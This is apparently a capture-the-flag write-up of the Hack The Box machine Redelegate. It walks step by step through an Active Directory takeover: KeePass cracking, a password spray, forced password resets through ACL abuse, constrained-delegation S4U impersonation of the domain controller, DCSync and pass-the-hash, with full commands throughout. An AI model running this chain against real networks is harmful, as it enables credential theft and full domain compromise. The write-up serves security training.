Skip to main content
HTB: Redelegate
  1. Posts/

HTB: Redelegate

Table of Contents

Introduction
#

Redelegate starts with a loot grab, anonymous FTP, which has a KeePass database and some internal audit notes that basically spoonfeeds the password. From there it’s a chain of small wins: spray a cracked password across the domain, ride an ACL abuse path through a couple of group memberships, and land on a machine account with GenericAll. The real payoff is SeEnableDelegationPrivilege, normally a Domain Admin-only power which lets me configure constrained delegation on that machine account and abuse S4U2Self/S4U2Proxy to impersonate the DC itself. From there it’s a straight shot to DCSync and Administrator.

Recon
#

nmap
#

Initial nmap finds many open ports:

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.60.80
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE SERVICE       REASON          VERSION
21/tcp   open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-08-25 06:17:50Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack ttl 127
1433/tcp open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.60.80:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-25T06:10:52
| Not valid after:  2056-08-25T06:10:52
| MD5:   8a73:b2bc:3d05:48fa:2ba5:a89f:a72c:aed2
| SHA-1: 83a2:de72:9a37:bd0b:2b76:6ae2:b1a9:9c23:7d4e:3efa
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQEhCSovDt2ptO4114xKRPizANBgkqhkiG9w0BAQsFADA7
<SNIP>
| xnD7VQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-08-25T06:18:01+00:00; -4s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.60.80:1433: 
|     Target_Name: REDELEGATE
|     NetBIOS_Domain_Name: REDELEGATE
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: redelegate.vl
|     DNS_Computer_Name: dc.redelegate.vl
|     DNS_Tree_Name: redelegate.vl
|_    Product_Version: 10.0.20348
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc.redelegate.vl
| Issuer: commonName=dc.redelegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-24T06:08:10
| Not valid after:  2027-02-23T06:08:10
| MD5:   67e1:defc:c6b0:e29d:f149:902b:f4d0:8130
| SHA-1: c86a:a400:877e:6cd0:6a4f:b638:43f0:2b9f:0360:d421
| -----BEGIN CERTIFICATE-----
| MIIC5DCCAcygAwIBAgIQItvkjhUFDqNLUggnC7tiHjANBgkqhkiG9w0BAQsFADAb
<SNIP>
| g4m4oBtxW5SfWcTpfvD1pUAv06YLAmJi
|_-----END CERTIFICATE-----
| rdp-ntlm-info: 
|   Target_Name: REDELEGATE
|   NetBIOS_Domain_Name: REDELEGATE
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: redelegate.vl
|   DNS_Computer_Name: dc.redelegate.vl
|   DNS_Tree_Name: redelegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-08-25T06:17:52+00:00
|_ssl-date: 2026-08-25T06:18:01+00:00; -4s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-25T06:17:53
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 41600/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 13547/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 13145/udp): CLEAN (Timeout)
|   Check 4 (port 7865/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: -3s, deviation: 0s, median: -4s

Based on the open ports, it seems to be Windows Domain Controller. The domain is redelegate.vl, and the hostname is DC.

I can generate host file:

└─$ netexec smb 10.129.60.80 --generate-hosts-file redelegate.hosts 
SMB         10.129.60.80    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)                                                                                     
└─$ cat redelegate.hosts 
10.129.60.80     DC.redelegate.vl redelegate.vl DC

and add it to /etc/hosts

Port 21 - FTP
#

There should be anonymous access to the FTP based on the nmap scan with 3 files:

21/tcp   open  ftp           syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-20-24  01:11AM                  434 CyberAudit.txt
| 10-20-24  05:14AM                 2622 Shared.kdbx
|_10-20-24  01:26AM                  580 TrainingAgenda.txt
| ftp-syst: 
|_  SYST: Windows_NT

I found and downloaded these files. Switch to binary mode to prevent some sort of corruption for the kdbx file.

└─$ ftp 10.129.60.80
Connected to 10.129.60.80.
220 Microsoft FTP Service
Name (10.129.60.80:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||53739|)
125 Data connection already open; Transfer starting.
10-20-24  01:11AM                  434 CyberAudit.txt
10-20-24  05:14AM                 2622 Shared.kdbx
10-20-24  01:26AM                  580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
mget CyberAudit.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||53741|)
150 Opening ASCII mode data connection.
100% |**************************************************************************************|   434       12.84 KiB/s    00:00 ETA
226 Transfer complete.
434 bytes received in 00:00 (12.79 KiB/s)
mget Shared.kdbx [anpqy?]? y
229 Entering Extended Passive Mode (|||53742|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************|  2622      106.94 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 10 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
2622 bytes received in 00:00 (105.13 KiB/s)
mget TrainingAgenda.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||53743|)
125 Data connection already open; Transfer starting.
100% |**************************************************************************************|   580       21.89 KiB/s    00:00 ETA
226 Transfer complete.
580 bytes received in 00:00 (21.69 KiB/s)

There is CyberAudit.txt:

CyberAudit

Which shows findings of recent audit with remediation steps, some of which are still not done, and worth keeping in mind…

Next, there is TrainingAgenda.txt:

TrainingAgenda

Which is presumably connected to the audit with training schedule and attendance. Interestingly, the training called “Weak Passwords” - Why “SeasonYear!” is not a good password only got 7 attendees.

And finally, there is Shared.kdbx, a KeePass database.

Marie.Curie credentials
#

Keepass
#

From the hint in TrainingAgenda I can create a small wordlist with the SeasonYear! schema:

└─$ cat seasons_wordlit.txt 
Winter2024!
Spring2024!
Summer2024!
Fall2024!
Winter2025!
Spring2025!
Summer2025!
Fall2025!
Winter2026!
Spring2026!
Summer2026!
Fall2026!

And try to access the KeePass database.

Get a hash:

└─$ keepass2john Shared.kdbx >> Shared.hash        

┌──(kali㉿kali)-[~/CTF/HTB/Redelegate]
└─$ cat Shared.hash
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca

And run it with the custom seasons wordlist:

└─$ john Shared.hash --wordlist=seasons_wordlit.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Fall2024!        (Shared)     
1g 0:00:00:00 DONE (2026-08-25 03:06) 1.492g/s 19.40p/s 19.40c/s 19.40C/s Winter2024!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

There is a hit and I have password: Fall2024!

KeePass

Inside there are several passwords, the one looking most promising is for the SQL Guest - zDPBpaF4FywlqIv11vii since there is sql database on port 1433.

SQL Database
#

The credentials work for the database:

└─$ impacket-mssqlclient SQLGuest:zDPBpaF4FywlqIv11vii@dc.redelegate.vl
Impacket v0.14.0.dev0+20260708.160148.cbcf4f86 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (SQLGuest  guest@master)> 

Unfortunatelly, the classic xp_cmdshell does not work:

SQL (SQLGuest  guest@master)> enable_xp_cmdshell
ERROR(DC\SQLEXPRESS): Line 105: User does not have permission to perform this action.
ERROR(DC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.

Enum database - Users
#

QL (SQLGuest  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   
tempdb                   0   
model                    0   
msdb                     1 
SQL (SQLGuest  guest@master)> enum_users
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID    SID   
------------------   --------   ---------   ---------   -------------   ----------   ----   
dbo                  db_owner   sa          master      dbo             1              01   
guest                public     NULL        NULL        guest           2              00   
INFORMATION_SCHEMA   public     NULL        NULL        NULL            3            NULL   
sys                  public     NULL        NULL        NULL            4            NULL 

Not much there, but I can still get the users using the mssql_enum_domain_accounts from metasploit

msf6 > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > show options

Module options (auxiliary/admin/mssql/mssql_enum_domain_accounts):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   FuzzNum              10000            yes       Number of principal_ids to fuzz.
   PASSWORD                              no        The password for the specified username
   RHOSTS                                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
                                                   cs/using-metasploit.html
   RPORT                1433             yes       The target port (TCP)
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentication (requires DOMAIN option set)


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set RHOSTS 10.129.60.80
RHOSTS => 10.129.60.80
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set USERNAME SQLGuest
USERNAME => SQLGuest
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > set PASSWORD zDPBpaF4FywlqIv11vii
PASSWORD => zDPBpaF4FywlqIv11vii
msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > run

Pretty quickly I get list of users:

msf6 auxiliary(admin/mssql/mssql_enum_domain_accounts) > run
[*] Running module against 10.129.60.80

[*] 10.129.60.80:1433 - Attempting to connect to the database server at 10.129.60.80:1433 as SQLGuest...
[+] 10.129.60.80:1433 - Connected.
[*] 10.129.60.80:1433 - SQL Server Name: WIN-Q13O908QBPG
[*] 10.129.60.80:1433 - Domain Name: REDELEGATE
[+] 10.129.60.80:1433 - Found the domain sid: 010500000000000515000000a185deefb22433798d8e847a
[*] 10.129.60.80:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.60.80:1433 -  - WIN-Q13O908QBPG\Administrator
[*] 10.129.60.80:1433 -  - REDELEGATE\Guest
[*] 10.129.60.80:1433 -  - REDELEGATE\krbtgt
[*] 10.129.60.80:1433 -  - REDELEGATE\Domain Admins
[*] 10.129.60.80:1433 -  - REDELEGATE\Domain Users
[*] 10.129.60.80:1433 -  - REDELEGATE\Domain Guests
[*] 10.129.60.80:1433 -  - REDELEGATE\Domain Computers
[*] 10.129.60.80:1433 -  - REDELEGATE\Domain Controllers
[*] 10.129.60.80:1433 -  - REDELEGATE\Cert Publishers
[*] 10.129.60.80:1433 -  - REDELEGATE\Schema Admins
[*] 10.129.60.80:1433 -  - REDELEGATE\Enterprise Admins
[*] 10.129.60.80:1433 -  - REDELEGATE\Group Policy Creator Owners
[*] 10.129.60.80:1433 -  - REDELEGATE\Read-only Domain Controllers
[*] 10.129.60.80:1433 -  - REDELEGATE\Cloneable Domain Controllers
[*] 10.129.60.80:1433 -  - REDELEGATE\Protected Users
[*] 10.129.60.80:1433 -  - REDELEGATE\Key Admins
[*] 10.129.60.80:1433 -  - REDELEGATE\Enterprise Key Admins
[*] 10.129.60.80:1433 -  - REDELEGATE\RAS and IAS Servers
[*] 10.129.60.80:1433 -  - REDELEGATE\Allowed RODC Password Replication Group
[*] 10.129.60.80:1433 -  - REDELEGATE\Denied RODC Password Replication Group
[*] 10.129.60.80:1433 -  - REDELEGATE\SQLServer2005SQLBrowserUser$WIN-Q13O908QBPG
[*] 10.129.60.80:1433 -  - REDELEGATE\DC$
[*] 10.129.60.80:1433 -  - REDELEGATE\FS01$
[*] 10.129.60.80:1433 -  - REDELEGATE\Christine.Flanders
[*] 10.129.60.80:1433 -  - REDELEGATE\Marie.Curie
[*] 10.129.60.80:1433 -  - REDELEGATE\Helen.Frost
[*] 10.129.60.80:1433 -  - REDELEGATE\Michael.Pontiac
[*] 10.129.60.80:1433 -  - REDELEGATE\Mallory.Roberts
[*] 10.129.60.80:1433 -  - REDELEGATE\James.Dinkleberg
[*] 10.129.60.80:1433 -  - REDELEGATE\Helpdesk
[*] 10.129.60.80:1433 -  - REDELEGATE\IT
[*] 10.129.60.80:1433 -  - REDELEGATE\Finance
[*] 10.129.60.80:1433 -  - REDELEGATE\DnsAdmins
[*] 10.129.60.80:1433 -  - REDELEGATE\DnsUpdateProxy
[*] 10.129.60.80:1433 -  - REDELEGATE\Ryan.Cooper
[*] 10.129.60.80:1433 -  - REDELEGATE\sql_svc
[+] 10.129.60.80:1433 - 37 user accounts, groups, and computer accounts were found.
[*] 10.129.60.80:1433 - Query results have been saved to: /home/kali/.msf4/loot/20260825034552_default_10.129.60.80_mssql.domain.acc_621587.txt
[*] Auxiliary module execution completed

With the users I can check for password reuse or other occurences of the SeasonYear! schema.

Password Spray
#

With the user list:

└─$ cat user.list  
Christine.Flanders
Marie.Curie
Helen.Frost
Michael.Pontiac
Mallory.Roberts
James.Dinkleberg
Helpdesk
IT
Finance
DnsAdmins
DnsUpdateProxy
Ryan.Cooper
sql_svc

and the SeasonYear! wordlist I can attempt a password spray:

└─$ nxc smb 10.129.60.80 -u user.list -p seasons_wordlit.txt --continue-on-success
SMB         10.129.60.80    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)

SMB         10.129.60.80    445    DC               [+] redelegate.vl\Marie.Curie:Fall2024!

There is a hit and I have credentials for Marie.Curie - Fall2024!

Bloodhound
#

With a set of working credentials I can run BloodHound and see what comes next:

bloodhound-ce-python -c all -d redelegate.vl -u Marie.Curie -p 'Fall2024!' -ns 10.129.60.80 --zip

Looking at the output, the path is clear, I have credentials for Marie.Curie who is member of the Helpdesk group. This group has ForceChangePassword over several users, one of which is Helen.Frost, member of IT group that has GenericAll over FS01.

BH

Helen.Frost
#

Starting with the password change:

└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Marie.Curie -p 'Fall2024!' set password 'Helen.Frost' 'Pwned123!'
[+] Password changed successfully!

Testing the new password:

└─$ nxc smb 10.129.60.80 -u Helen.Frost -p 'Pwned123!'                                      
SMB         10.129.60.80    445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)                                                                                     
SMB         10.129.60.80    445    DC               [+] redelegate.vl\Helen.Frost:Pwned123! 

I can use evil-winrm to get in, and grab the user flag:

└─$ evil-winrm -i 10.129.60.80 -u Helen.Frost -p 'Pwned123!' 

<SNIP>

*Evil-WinRM* PS C:\Users\Helen.Frost\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> ls

    Directory: C:\Users\Helen.Frost\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         8/24/2026  11:08 PM             34 user.txt


*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> type user.txt
e3764b9ba159a02ee1fbdd2b4378bbdd

While there, quick enum:

*Evil-WinRM* PS C:\Users\Helen.Frost\Desktop> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ==============================================
redelegate\helen.frost S-1-5-21-4024337825-2033394866-2055507597-1106


GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
REDELEGATE\IT                               Group            S-1-5-21-4024337825-2033394866-2055507597-1113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

It confirms membership of the REDELEGATE\IT group and so the previously discovered path to FS01$ from BloodHound. More important, there is SeEnableDelegationPrivilege is enabled.

This lets a principal configure Kerberos delegation attributes on AD objects. Meaning I should be able to set TRUSTED_TO_AUTH_FOR_DELEGATION and msDS-AllowedToDelegateTo.

Normally modifying these should require Domain Admin. With this and the GenericAll over FS01$ from the IT membership, there is a complete chain.

  • Take over the machine account
  • Configure constrained delegation
  • Abuse S4U2Proxy to impersonate the DC

Administrator
#

First, take over the FS01$ - with GenericAll I can set its password directly:

└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Helen.Frost -p 'Pwned123!' set password 'FS01$' 'Pwned123!'
[+] Password changed successfully!

Now to configure constrained delegation. Add TRUSTED_TO_AUTH_FOR_DELEGATION to the machine account:

└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Helen.Frost -p 'Pwned123!' add uac 'FS01$' -f TRUSTED_TO_AUTH_FOR_DELEGATION
[-] ['TRUSTED_TO_AUTH_FOR_DELEGATION'] property flags added to FS01$'s userAccountControl

This should enable protocol transition, meaning FS01$ can request a service ticket on behalf of any domain user.

Next, setting msDS-AllowedToDelegateTo to cifs/dc.redelegate.vl, which constrains where that delegation is permitted to go.

└─$ bloodyAD --host redelegate.vl -d dc.redelegate.vl -u Helen.Frost -p 'Pwned123!' set object 'FS01$' msDS-AllowedToDelegateTo -v 'cifs/dc.redelegate.vl'
[+] FS01$'s msDS-AllowedToDelegateTo has been updated

Constrained delegation with protocol transition enables the S4U2Self/S4U2Proxy. FS01$ can act on behalf of other users, first it request a service ticket to itself “pretending” to be any domain user (S4U2Self), and then trade that ticket for a real usable ticket to a specific service (S4U2Proxy). If it impersonates the domain controller account DC$, the ticket ends up for cifs/dc.redelegate.vl which is effectively domain-controller-level privileges - enough to run DCSync and grab the Administrator hash.

└─$ impacket-getST redelegate.vl/FS01$:'Pwned123!' -spn cifs/dc.redelegate.vl -impersonate DC
Impacket v0.14.0.dev0+20260708.160148.cbcf4f86 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache

With the ticket, I can run secretsdump to pull the NTDS secrets.

export KRB5CCNAME=DC@cifs_dc.redelegate.vl@REDELEGATE.VL.ccache
└─$ impacket-secretsdump -k dc.redelegate.vl
Impacket v0.14.0.dev0+20260708.160148.cbcf4f86 - Copyright Fortra, LLC and its affiliated companies 

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
<SNIP>
[*] Cleaning up... 

And I can rm in to grab the root flag:

└─$ evil-winrm -i 10.129.60.80 -u Administrator -H 'ec17f7a2a4d96e177bfd101b94ffc0a7'

<SNIP>

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1344829c27efafc959a6f05aee987370
Author
~